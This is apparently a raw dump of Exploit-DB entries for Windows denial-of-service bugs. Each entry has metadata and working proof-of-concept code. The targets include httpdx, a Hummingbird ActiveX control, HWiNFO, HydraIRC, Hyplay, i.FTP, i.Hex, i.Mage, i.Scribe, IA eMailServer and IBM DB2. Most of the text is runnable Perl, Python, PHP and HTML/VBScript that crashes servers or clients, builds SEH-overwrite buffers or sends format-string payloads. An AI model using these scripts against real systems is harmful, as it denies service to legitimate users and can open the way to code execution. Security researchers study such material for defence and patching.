deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33733
Description: httpdx 1.5.3 - '.png' File Handling Remote Denial of Service
Type: dos
Platform: windows
Date: 2010-03-10
Author: Jonathan Salwan

Exploit:
source: https://www.securityfocus.com/bid/38638/info

The 'httpdx' program is prone to a denial-of-service vulnerbaility.

Remote attackers can exploit this issue to cause the server to stop responding, denying service to legitimate users.

This issue affects httpdx 1.5.3; other versions may also be affected. 

#!/usr/bin/perl
#
# Program          : Httpdx v1.5.3
# PoC		   : Remote Break Services
# Homepage         : http://sourceforge.net/projects/httpdx/
# Found by         : Jonathan Salwan
# This Advisory    : Jonathan Salwan
# Contact          : submit@shell-storm.org
# 
# 
# //----- Application description
# 
# Single-process HTTP1.1/FTP server; no threads or processes started per connection, runs 
# with only few threads. Includes directory listing, virtual hosting, basic auth., support 
# for PHP, Perl, Python, SSI, etc. All settings in one config/script file. 
# 
# 
# //----- Description of vulnerability
# 
# The vulnerability is caused due to an input validation error when processing HTTP requests. This can be 
# exploited to break all services http & ftp. 
# 
# 
# 
# //----- Credits
# 
# http://www.shell-storm.org 	<submit@shell-storm.org>
# 
# 


use IO::Socket;
print "\n[x]Httpdx v1.5.3 - Remote Break Services\n";

	if (@ARGV < 1)
		{
 		print "[-] Usage: <file.pl> <host> <port>\n";
 		print "[-] Exemple: file.pl 127.0.0.1 80\n";
 		exit;
		}

	$ip = $ARGV[0];
	$port = $ARGV[1];


$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Connecting: Failed!\n";
		
	print "[+] Sending request: GET /res~httpdx.conf/image/php.png HTTP/1.1\\r\\nHost: $ip\\r\\n\\r\\n";
	$msg = 	"GET /res~httpdx.conf/image/php.png HTTP/1.1\r\nHost: $ip\r\n\r\n";
	$socket->send($msg);

print "\n[+] Done.\n\n";

close($socket);
Exploit-DB #19988
Description: httpdx 1.5.4 - HTTP Server Remote Denial of Service
Type: dos
Platform: windows
Date: 2012-07-20
Author: st3n

Exploit:
#!/usr/bin/perl -w
#======================================================================
# Exploit Title: httpdx v1.5.4 Remote HTTP Server DoS (using wildcards)
# Date: 18 July 2012
# Exploit Author: st3n [at sign] funoverip [dot] net
# Vendor Homepage: http://httpdx.sourceforge.net
# Download link: http://sourceforge.net/projects/httpdx/files/httpdx/httpdx%201.5.4/httpdx1.5.4.zip/download
# Version: 1.5.4
# Tested on: WinXP SP3
#======================================================================
# Additional notes:
#   - One request is enough
#   - On crash: Access violation when writing to [41414141]	
#   - The value x01 is written to [EDI] at the following instruction
#     MOV BYTE PTR DS:[EDI],AL
#
# In msvcrt.dll
# -------------
#
#  77C470D0   8A06             MOV AL,BYTE PTR DS:[ESI]
#  77C470D2   8807             MOV BYTE PTR DS:[EDI],AL      <===== HERE
#  77C470D4   8B45 08          MOV EAX,DWORD PTR SS:[EBP+8]
#  77C470D7   5E               POP ESI
#  77C470D8   5F               POP EDI
#  77C470D9   C9               LEAVE
#  77C470DA   C3               RETN
#
# Registers
# -------------
#
#  EAX 41414101
#  ECX FFFFFFFD
#  EDX 00000003
#  EBX 00423001 ASCII "&>"
#  ESP 01058B9C
#  EBP 01058BA4
#  ESI 003EA2E0
#  EDI 41414141        <============= HERE
#  EIP 77C470D2 msvcrt.77C470D2
#
# Crash output :
# --------------
#   httpdx 1.5.4 - Started
#
#   [http/ftp]://192.168.0.10/
#
#   ffs wtf happened?
#
#======================================================================


#======================================================================
# PoC code
#======================================================================
use strict;
use IO::Socket::INET;

my $host = "192.168.0.10";
my $sock = IO::Socket::INET->new("$host:80");

# EDI addr
my $EDI = 
	"\x7A" .  # = 0x41 + 0x39 
	"\x32" .  # = 0x41 - 0x0F
	"\x41" .
	"\x41" ;

print $sock 	"GET /" . "*" x 2450 . 
		"A"  x 12 . 
		$EDI . 
		"C" x 528 . " HTTP/1.0\r\n" . 
		"Host: $host" . "\r\n\r\n" ;

exit;
Exploit-DB #14683
Description: httpdx 1.5.4 - Multiple Denial of Service Vulnerabilities (http-ftp) (PoC)
Type: dos
Platform: windows
Date: 2010-08-18
Author: Dr_IDE

Exploit:
#!/usr/bin/env python

###########################################################################
#
# Title: 	httpdx v1.5.4 Remote HTTP Server DoS (0day)
# By:		Dr_IDE
# Tested:	XPSP3
# Download:	http://httpdx.sourceforge.net
# Note:		Server will totally crash if only running the EXE
# Note:		Get a "ffs what happened?" message if running via BAT
#
############################################################################
#
# Debugging Notes: This may not be exploitable as it dumps on a read operation. 
# Upon crash throws: Access violation when reading [00001238]
#
############################################################################

import socket, sys

payload = ("GET / HTTP/1.1\r\n\r\n");
x=1;

try:
	while (x < 2048):
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		print ("[*] Connecting to httpdx server.");
		s.connect((sys.argv[1], 80));
		print ("\n[*] Sending command.\n");
		s.send(payload);
		s.close();
		x = x+1;

except:
	print ("[*] Success! We crashed the server in %d attempts." % x);
	print ("[i] [pocoftheday.blogspot.com]");


=====================================================================================

#!/usr/bin/env python

###########################################################################
#
# Title: 	httpdx v1.5.4 Remote FTP Server DoS (0day)
# By:		Dr_IDE
# Tested:	XPSP3
# Download:	http://httpdx.sourceforge.net
# Note:		Server will totally crash if only running the EXE
# Note:		Get a "ffs what happened?" message if running via BAT
#
############################################################################
#
# Debugging Notes: This may be exploitable as it dumps on a write operation. 
# Upon crash throws: Access violation when writing to [00230000]
#
############################################################################

import socket, sys

payload = ("USER anonymous\r\n\r\n");
x=1;

try:
	while (x < 2048):
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		print ("[*] Connecting to httpdx server.");
		s.connect((sys.argv[1], 21));
		print ("\n[*] Sending command.\n");
		s.send(payload);
		s.close();
		x = x+1;

except:
	print ("[*] Success! We crashed the server in %d attempts." % x);
	print ("[i] [pocoftheday.blogspot.com]");
Exploit-DB #6761
Description: Hummingbird 13.0 - ActiveX Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-10-16
Author: Thomas Pollet

Exploit:
<html>

<!--

the latest version of this activex (13.0) is compiled with /gs,  earlier versions aren't.
The XXXX would have overwritten return address.
by thomas.pollet@gmail.com

-->

<object classid='clsid:FFB6CC68-702D-4FE2-A8E7-4DE23835F0D2' id='target' ></object>
<script language='vbscript'>
arg1="[PII_REDACTED][PII_REDACTED][PII_REDACTED]280129012:012;012<012=012>012?012@012A012B012C012D012E012FXXXX"
target.PlainTextPassword = arg1

</script>
</html>


# milw0rm.com [2008-10-16]
Exploit-DB #44593
Description: HWiNFO 5.82-3410 - Denial of Service
Type: dos
Platform: windows
Date: 2018-05-06
Author: bzyo

Exploit:
#!/usr/bin/python
#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: HWiNFO 5.82-3410 - Denial of Service
# Date: 05-04-18
# Vulnerable Software: HWiNFO 5.82-3410
# Vendor Homepage: https://www.hwinfo.com/
# Version: 5.82-3410
# Software Link: https://www.hwinfo.com/files/hwi_582.exe
# Tested On: Windows 7 x86
#
# PoC: 
# 1. generate hwinfo.txt, copy contents to clipboard
# 2. open app, select Report, Create
# 3. choose Export format XML
# 4. paste hwinfo.txt contents into filename field
# 5. select Next, Next
#
# app crashes & EIP overwrite;
# !mona seh > only ppr, non-safeseh module contains startnull
# 0x00400000 | 0x00d8b000 | 0x0098b000 | 5.82-3410 [HWiNFO32.EXE] (C:\Program Files\HWiNFO32\HWiNFO32.EXE)
#

filename="hwinfo.txt"
#offset 530
junk = "A"*526

seh = "B"*4

nseh = "C"*4

fill = "D"*9465

buffer = junk + seh + nseh + fill

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Exploit-DB #6201
Description: HydraIrc 0.3.164 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-08-04
Author: securfrog

Exploit:
############################################################
# Vendor : http://www.hydrairc.com/
# Remote : Yes
# Impact : Remote crash
# Bug : Null Pointer Dereference
# Working on : all browsers
#
#  Include this in any webpage or xss & see it with any browser , wait ~15sec, and boom.
#
# PoC :
#
<html>
<head> <title>HydraIRC Remote Denial Of Service Poc </title></head>
<body>
<script>
var site = 'irc://127.0.0.1/'
var buf = 'A';
     while (buf.length <= 560) buf = buf + 'A';
document.location.href=site +buf
</script>
</body>
</html>

# milw0rm.com [2008-08-04]
Exploit-DB #33973
Description: Hyplay 1.2.0326.1 - '.asx' Remote Denial of Service
Type: dos
Platform: windows
Date: 2010-05-10
Author: Steve James

Exploit:
source: https://www.securityfocus.com/bid/40048/info

Hyplay is prone to a remote denial-of-service vulnerability.

Attackers may leverage this issue to crash the affected application, denying service to legitimate users. Given the nature of this issue, the attacker may also be able to run arbitrary code, but this has not been confirmed.

Hyplay 1.2.0326.1 is vulnerable; other versions may also be affected. 

#/usr/bin/perl
#Title: Hyplay 1.2.0326.1 (.asx) Local DoS crash PoC
#Download: http://www.hyplay.com/download.asp
#Written/Discovered by: xsploited Security
#Tested on Windows XP SP2
#URL: http://x-sploited.com/
#Shoutz: kAoTiX, drizzle, JeremyBrown, BreTT, Deca
 
#A bug exists in the way Hyplay processes malformed .asx play
#list files. This could potentially lead to code execution on
#the users machine.
 
my $data1=  
"\x3C\x61\x73\x78\x20\x76\x65\x72\x73\x69\x6F\x6E\x20\x3D\x20".
"\x22\x33\x2E\x30\x22\x20\x3E\x0D\x0D\x0A\x3C\x65\x6E\x74\x72".
"\x79\x3E\x0D\x0D\x0A".
"\x3C\x72\x65\x66\x20\x68\x72\x65\x66\x20\x3D\x20\x22";
 
my $data2="http://";
 
my $data3= #asx file footer
"\x22\x20\x2F\x3E\x0D\x0A\x3C\x2F\x65\x6E\x74\x72\x79\x3E\x0D".
"\x0A\x3C\x2F\x61\x73\x78\x3E";
 
my $junk = "\x41" x 3000;
open(my $playlist, "> hyplay_d0s.asx");
print $playlist $data1.$data2.$junk.$data3."\r\n";
close $playlist;
print "\nEvil asx file created successfully.";
Exploit-DB #12546
Description: Hyplay 1.2.326.1 - '.asx' Local Denial of Service Crash (PoC)
Type: dos
Platform: windows
Date: 2010-05-10
Author: Steve James

Exploit:
#/usr/bin/perl
#Title: Hyplay 1.2.326.1 (.asx) Local DoS crash PoC
#Download: http://www.hyplay.com/download.asp
#Written/Discovered by: xsploited Security
#Tested on Windows XP SP2
#URL: http://x-sploited.com/
#Shoutz: kAoTiX, drizzle, JeremyBrown, BreTT, Deca

#A bug exists in the way Hyplay processes malformed .asx play 
#list files. This could potentially lead to code execution on 
#the users machine.

my $data1=   
"\x3C\x61\x73\x78\x20\x76\x65\x72\x73\x69\x6F\x6E\x20\x3D\x20".
"\x22\x33\x2E\x30\x22\x20\x3E\x0D\x0D\x0A\x3C\x65\x6E\x74\x72".
"\x79\x3E\x0D\x0D\x0A".
"\x3C\x72\x65\x66\x20\x68\x72\x65\x66\x20\x3D\x20\x22";

my $data2="http://"; 

my $data3= #asx file footer
"\x22\x20\x2F\x3E\x0D\x0A\x3C\x2F\x65\x6E\x74\x72\x79\x3E\x0D".
"\x0A\x3C\x2F\x61\x73\x78\x3E";

my $junk = "\x41" x 3000;
open(my $playlist, "> hyplay_d0s.asx");
print $playlist $data1.$data2.$junk.$data3."\r\n";
close $playlist;
print "\nEvil asx file created successfully.";
Exploit-DB #36847
Description: i.FTP 2.21 - Overflow Crash (SEH) (PoC)
Type: dos
Platform: windows
Date: 2015-04-28
Author: Avinash Thapa

Exploit:
# iFTP 2.21 SEH overwritten Crash PoC
# Author: Avinash Kumar Thapa "-Acid"
# Date of Testing :  28th April'2015
# Vendor's home page: http://www.memecode.com/iftp.php
# Software's Url: http://www.memecode.com/data/iftp-win32-v2.21.exe
# Crash Point: Go to Schedule > Schedule download > {+} >Time field


buffer = "A"*600

buffer += "BBBB" # Pointer to Next SEH Record

buffer += "CCCC" # SEH HANDLER


file = "test.txt"

f = open(file, "w")

f.write(buffer)

f.close()
Exploit-DB #35178
Description: i.Hex 0.98 - Local Crash (PoC)
Type: dos
Platform: windows
Date: 2014-11-06
Author: metacom

Exploit:
#!/usr/bin/python
#Exploit Title:i.Hex Local Crash Poc
#Homepage:http://www.memecode.com/ihex.php
#Software Link:www.memecode.com/data/ihex-win32-v0.98.exe
#Version:i.Hex-v0.98 (Win32 Release)
#Description:i.Hex is a small and free graphical Hex Editor for Windows..
#Tested on:Win7 32bit 
#Exploit Author:metacom --> twitter.com/m3tac0m
#Date:05.11.2014
'''
Immunity Debugger Log data
EAX 0135B8F8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ECX 41414141
EDX 41414141
EBX 01363FA0
ESP 0012F6D8
EBP 0012F700
ESI 0135B8F0
EDI 005F0000
EIP 77B85FBD ntdll.77B85FBD

Press Shift+9
Log data, item 0
Address=77B85B44
Message=[15:56:05] Access violation when reading [41414141]
'''
print "\n[*]Vulnerable Created iHex.xml!"
print "[*]Copy iHex.xml to C:\Program Files\Memecode\i.Hex"
print "[*]Start i.Hex"
print "[*]------------------------------------------------"
poc="\x41" * 100000
header = "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22"
header += "\x55\x54\x46\x2d\x38\x22\x20\x3f\x3e\x0a\x3c\x4f\x70\x74\x69\x6f\x6e\x73\x20\x49\x73\x48\x65\x78\x3d\x22\x31\x22\x0a\x09"
header += "\x20\x4c\x69\x74\x74\x6c\x65\x45\x6e\x64\x69\x61\x6e\x3d\x22\x0a" + poc
footer = "\x22\x0a\x09\x20\x50\x6f\x73\x3d\x22\x31\x30\x30\x2c\x31\x30\x30\x2c\x35\x30\x30\x2c\x34\x30\x30\x22\x3e\x0a\x09\x3c\x4d"
footer += "\x72\x75\x20\x49\x74\x65\x6d\x73\x3d\x22\x30\x22\x0a\x09\x09\x20\x49\x74\x65\x6d\x30\x3d\x22\x22\x20\x2f\x3e\x0a\x3c\x2f"
footer += "\x4f\x70\x74\x69\x6f\x6e\x73\x3e\x0a"
payload= header + footer
# Write out our malicious file
writeFile = open ("iHex.xml", "wb")
writeFile.write( payload )
writeFile.close()
Exploit-DB #35179
Description: i.Mage 1.11 - Local Crash (PoC)
Type: dos
Platform: windows
Date: 2014-11-06
Author: metacom

Exploit:
#!/usr/bin/python
#Exploit Title:i.Mage Local Crash Poc
#Homepage:http://www.memecode.com/image.php
#Software Link:http://sourceforge.net/projects/image-editor/files/i.mage-win32-v111.exe/download
#Version:i.i.Mage v1.11 (Win32 Release)
#Description:i.Mage is a small and fast graphics editor slanted towards quite and easy pixel editing...
#Tested on:Win7 32bit EN-Ultimate 
#Exploit Author: metacom
#Date:26.10.2014
'''
Immunity Debugger Log data
Address=77B85FBD
Message=[17:21:47] Access violation when reading [41414145]

EAX 01354078 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ECX 41414141
EDX 41414141
EBX 01374F10
ESP 0012F810
EBP 0012F838
ESI 01354070 ASCII "AAAzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EDI 003A0000
EIP 77B85FBD ntdll.77B85FBD'''
print "\n[*]Vulnerable Created image.xml!"
print "[*]Copy image.xml to C:\Program Files\Memecode\i.Mage"
print "[*]Start i.Mage"
print "[*]------------------------------------------------"

poc="\x41" * 200000
header  = "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22"
header += "\x55\x54\x46\x2d\x38\x22\x20\x3f\x3e\x0a\x3c\x4f\x70\x74\x69\x6f\x6e\x73\x20\x45\x72\x61\x73\x65\x57\x69\x64\x74\x68\x3d"
header += "\x22\x31\x30\x22\x0a\x09\x20\x45\x72\x61\x73\x65\x41\x6d\x6f\x75\x6e\x74\x3d\x22\x32\x35\x35\x22\x0a\x09\x20\x44\x73\x70"
header += "\x47\x72\x69\x64\x3d\x22\x31\x22\x0a\x09\x20\x54\x6f\x6f\x6c\x4f\x70\x65\x6e\x3d\x22\x30\x22\x0a\x09\x20\x41\x6e\x67\x6c"
header += "\x65\x3d\x22\x30\x22\x0a\x09\x20\x50\x6f\x73\x3d\x22\x37\x31\x37\x2c\x33\x34\x30\x2c\x31\x31\x31\x37\x2c\x36\x34\x30\x22"
header += "\x0a\x09\x20\x45\x6e\x61\x62\x6c\x65\x64\x55\x6e\x64\x6f\x3d\x22\x31\x22\x0a\x09\x20\x46\x69\x6c\x6c\x4f\x62\x6a\x65\x63"
header += "\x74\x73\x3d\x22\x31\x22\x0a\x09\x20\x54\x72\x61\x6e\x73\x70\x61\x72\x65\x6e\x74\x50\x61\x73\x74\x65\x3d\x22\x30\x22\x0a"
header += "\x09\x20\x4f\x70\x65\x72\x61\x74\x6f\x72\x3d\x22\x30\x22\x0a\x09\x20\x41\x6c\x70\x68\x61\x3d\x22\x32\x35\x35\x22\x0a\x09"
header += "\x20\x53\x70\x6c\x69\x74\x74\x65\x72\x50\x6f\x73\x3d\x22\x32\x35\x30\x22\x3e\x0a\x09\x3c\x4d\x72\x75\x20\x49\x74\x65\x6d"
header += "\x73\x3d\x22\x30\x22\x0a\x09\x09\x20\x49\x74\x65\x6d\x30\x3d\x22\x0a" + poc

footer = "\x22\x20\x2f\x3e\x0a\x3c\x2f\x4f\x70\x74\x69\x6f\x6e\x73\x3e\x0a"

payload=header + footer
writeFile = open ("image.xml", "w")
writeFile.write( payload )
writeFile.close()
Exploit-DB #7249
Description: i.Scribe SMTP Client 2.00b - 'wscanf' Remote Format String (PoC)
Type: dos
Platform: windows
Date: 2008-11-27
Author: Alfons Luja

Exploit:
<?php 
//I dont have c lol
/*___=++++++++++++__=--=________*****
 0-- 
  --  i.Scribe smtp client v 1.88 to 2.00 beta
      Format String (wscanf) bug p0c
      vendor : Memecode Software 
      grTs;SiD.psycho 
      A.Luja 27.11.08  

--)(________++++++++++++++++++++---*** 

___00)_- NOTE!!! you must enabled extension=php_sockets.dll in php.ini ___==
          Or just open nc -l -p 25 lol*/
$host= $_SERVER[SERVER_ADDR];
$port= 25;
$ret = "AAAA%n%n%n%n%n%n%n%n%n";
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die ("socket error\n"); 
$bind = socket_bind ($socket, $host, $port) or die ("bind error\n"); 
$listen = socket_listen($socket,1) or die("listen error\n");
printf("--==Fake smtp server ready==----\n");
printf("Now connect here witch iScribe client\n");
if(($acp=socket_accept($socket))!==false){
    printf("Target connected\n");
    sleep(2);
    printf("send evil char\n");
    $hello=socket_write($acp,$ret,strlen($ret));  
    printf("done\n");
    socket_close($acp);
}
socket_close($socket);
exit();
?>

//Alfons Luja

# milw0rm.com [2008-11-27]
Exploit-DB #1163
Description: IA eMailServer Corporate Edition 5.2.2 - Denial of Service
Type: dos
Platform: windows
Date: 2005-06-26
Author: Reed Arvin

Exploit:
#===== Start IAeMailServer_DOS.pl =====
#
# Usage: IAeMailServer_DOS.pl <ip>
#        IAeMailServer_DOS.pl 127.0.0.1
#
# True North Software, Inc. IA eMailServer Corporate Edition
# Version: 5.2.2. Build: 1051.
#
# Download:
# http://www.tnsoft.com/
#
############################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "143",
                                    Proto    => "TCP"))
{
        print "Attempting to kill IA eMailServer at $ARGV[0]:143...";

        sleep(1);

        print $socket "0000 LOGIN hello moto\r\n";

        sleep(1);

        print $socket "0001 LIST 1 \%x\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:143\n";
}
#===== End IAeMailServer_DOS.pl =====

# milw0rm.com [2005-06-26]
Exploit-DB #20470
Description: IBM DB2 - Universal Database for Windows NT 6.1/7.1 SQL Denial of Service
Type: dos
Platform: windows
Date: 2000-12-05
Author: benjurry

Exploit:
source: https://www.securityfocus.com/bid/2067/info


IBM DB2 Universal Database is a distributed database application.

It may be possible for a database user to crash the server through a bug in handling certain queries. If a certain query is executed that contains a datetime type and varchar type, the server may cease to fucntion requiring a manual reset. The following example was submitted by Benjurry in their advisory:

connect reset;
connect to sample user db2admin using db2admin;
select * from employee where year(birthdate)=1999 and firstnme<'';

It is not known what the cause for this behaviour is. Restarting the application is required in order to regain normal functionality.
Exploit-DB #24679
Description: IBM DB2 Semaphore Signaling - Denial of Service
Type: dos
Platform: windows
Date: 2004-09-01
Author: Chris Anley

Exploit:
source: https://www.securityfocus.com/bid/11403/info

A denial of service vulnerability has been reported in IBM DB2. This vulnerability is reported to only exist when DB2 is installed on Microsoft Windows operating systems. This issue is due to a failure of the application to properly ensure that only authorized users can signal the DB2 UDB instance to shutdown. This is due to a Windows permissions issue related to shared memory sections, culminating in various denial of service attacks.

This vulnerability allows attackers with local access to shutdown the DB2 UDB instance. This will result in the denial of database service to legitimate users.

- Users may set the 'DB2SHUTDOWNSEM' + pid event to shutdown the database. The following example was provided:

DB2SHUTDOWNSEM000002ec

- Non-zero values may be written to the 'DB2SHMSECURITYSERVICE' shared memory section and then read by setting the 'DB2NTSECURITYINPUT' input event.

- Users may write to the 'DB20QM' shared memory section. The following example was provided:

section write DB20QM